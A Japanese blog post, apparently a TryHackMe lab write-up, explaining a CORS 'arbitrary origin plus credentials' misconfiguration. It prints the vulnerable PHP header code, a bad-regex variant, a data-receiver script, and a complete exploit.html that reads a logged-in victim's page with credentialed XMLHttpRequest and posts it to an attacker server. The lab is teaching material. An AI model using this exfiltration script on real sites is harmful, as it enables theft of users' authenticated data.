0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】CORS Arbitrary Origin 脆弱性による情報窃取(withCredentials 編)

0
Last updated at Posted at 2025-12-28

はじめに

CORS は「クロスオリジン通信を制御する仕組み」として広く知られています。
しかし実務やCTFでは、次のような 非常に危険な誤解 が頻発します。

「ページが普通に表示されるし、200 OK だから問題ないよね?」

結論から言うと、それは大きな勘違いです。

本記事では、TryHackMe のラボを題材に
Arbitrary Origin + Credentials という典型的な CORS 設定ミスを利用し、

  • 被害者の認証 Cookie を使って
  • クロスサイトから
  • レスポンス本文(機密情報)を読み取り
  • 攻撃者サーバへ流出させる

一連の流れを 実際のコードと通信挙動 で解説します。

環境構成

登場するドメイン

役割 ドメイン
脆弱なターゲット corssop.thm
エクスプロイト管理UI exploit.evilcors.thm
被害者が踏む悪性ページ corssop.thm.evilcors.thm
データ受信サーバ Apache (port 81)

/etc/hosts 設定

echo MACHINE_IP corssop.thm | sudo tee -a /etc/hosts
echo MACHINE_IP exploit.evilcors.thm | sudo tee -a /etc/hosts
echo MACHINE_IP corssop.thm.evilcors.thm | sudo tee -a /etc/hosts

受信サーバ(receiver.php)

<?php
header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");
header('Access-Control-Allow-Credentials: true');

$postdata = file_get_contents("php://input");
file_put_contents('data.txt', $postdata);
?>

cd www/html/
nano receiver.php
touch data.txt
ls -la
...
    total 24
    drwxr-xr-x 2 root root  4096 Dec 28 12:57 .
    drwxr-xr-x 3 root root  4096 Jan 24  2024 ..
    -rw-r--r-- 1 root root     0 Dec 28 12:57 data.txt
    -rw-r--r-- 1 root root 10918 Jan 24  2024 index.html
    -rw-r--r-- 1 root root   215 Dec 28 12:56 receiver.php
...
chmod 0777 data.txt 
ls -lah
...
    drwxr-xr-x 2 root root 4.0K Dec 28 12:57 .
    drwxr-xr-x 3 root root 4.0K Jan 24  2024 ..
    -rwxrwxrwx 1 root root    0 Dec 28 12:57 data.txt
    -rw-r--r-- 1 root root  11K Jan 24  2024 index.html
    -rw-r--r-- 1 root root  215 Dec 28 12:56 receiver.php
...

※ 検証用としてはOK
実運用では Apache 実行ユーザに限定すべき


全体攻撃フロー


分析

脆弱性の正体:Arbitrary Origin + Credentials

ターゲット corssop.thm/arbitrary.php の実装:

if (isset($_SERVER['HTTP_ORIGIN'])){
    header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']."");
    header('Access-Control-Allow-Credentials: true');
}

問題はこの 2点が同時に成立していること:

  1. Access-Control-Allow-Origin が “リクエストの Origin をそのまま反映”
    • つまり攻撃者ドメイン(evilcors.thm)からでも、Origin: http://evilcors.thm で来たらそのまま許可してしまう
  2. Access-Control-Allow-Credentials: true
    • ブラウザが Cookie付き(認証済み)で送信できる
    • さらに JSがレスポンス本文を読める

この2つが揃うと、攻撃者ページ上のJSが

  • 被害者のログインCookieを付けてターゲットへアクセスし
  • レスポンス本文(機密情報)を取得できる

という「クロスサイトなのに、同一オリジン並みに読める」状態になります。

逆に言うと、Credentials が true じゃなければ被害者Cookieは乗らない
Origin を反射しなければブラウザがJSに本文を渡さない
この片方だけなら、被害はかなり限定されることが多い。

ページにアクセスして

Screenshot 2025-12-28 at 22.00.44.png

Screenshot 2025-12-28 at 22.06.11.png

一見すると問題なさそうです。

でも Orgin:corssop.thmを加えてアクセスして、応答ヘッドから見るとAccess-Control-Alow-Origin:corssop.thmがある。

Screenshot 2025-12-28 at 22.07.261.jpg

ところで http://exploit.evilcors.thmのページ

Screenshot 2025-12-28 at 22.18.00.png

ここで攻撃コード(exploit.html)を構築する

<html>
  <head>
  <title>Data Exfiltrator Exploit</title>
  <script>
    //Function which will make CORS request to target application web page to grab the HTTP response
    function exploit() {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        var all = this.responseText;
        exfiltrate(all);
     }
    };
    xhttp.open("GET", "http://corssop.thm/arbitrary.php", true);
    xhttp.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,\/;q=0.8");
    xhttp.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
    xhttp.withCredentials = true;
    xhttp.send();
    }

    function exfiltrate(data_all) {
          var xhr = new XMLHttpRequest();
          xhr.open("POST", "http://MACHINE_IP/receiver.php", true); //Replace the URL with attacker controlled Server

          xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
          xhr.withCredentials = true;
          var body = data_all;
          var aBody = new Uint8Array(body.length);
          for (var i = 0; i < aBody.length; i++)
            aBody[i] = body.charCodeAt(i);
          xhr.send(new Blob([aBody]));
    }
    </script>
</head>
<body onload="exploit()">
<div style="margin: 10px 20px 20px; word-wrap: break-word; text-align: center;">
<textarea id="load" style="width: 1183px; height: 305px;">

構築完成したら、まず保存して、エクスプロイトが機能しているかどうかを確認するには、"View exploit" ボタンをクリックします。
Screenshot 2025-12-28 at 22.24.48.png

"Send to victim!"のボタンをクリックして

被害者は、ウェブサイト http://evilcors.thm を使用して、エクスプロイト コードを含む悪意のあるウェブサイトに自動的にアクセスします。

攻撃者サーバへ送信

Screenshot 2025-12-28 at 22.33.31.png

Screenshot 2025-12-28 at 22.42.42.png

最後、フラグを得た。
Screenshot 2025-12-28 at 22.43.33.png

<div class="container mt-4">
    <h1 class="text-center">Arbitrary Origin Lab</h1>
    <p style="text-align:center;">Use the Origin in your CORS request</p>
    <p style="text-align:center;">THM{4rB1tr4rY}</p></div>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="jquery.min.js"></script>
<!-- Latest compiled and minified JavaScript -->
<script src="bootstrap.min.js" >

他の例

Bad Regex in Origin

脆弱性があるコード

if (isset($_SERVER['HTTP_ORIGIN']) && preg_match('#corssop.thm#', $_SERVER['HTTP_ORIGIN'])) {
    header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']."");
    header('Access-Control-Allow-Credentials: true');
}

Screenshot 2025-12-29 at 18.04.44.png

まとめ

CORS は「なんとなく動いてる」状態が一番危険です。
今回のように 実際に盗ってみる ことで、設計ミスの重さが初めて実感できます。

この記事が、

  • CORSを「設定項目」ではなく
  • ブラウザセキュリティモデルとして理解する助け
    になれば幸いです。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?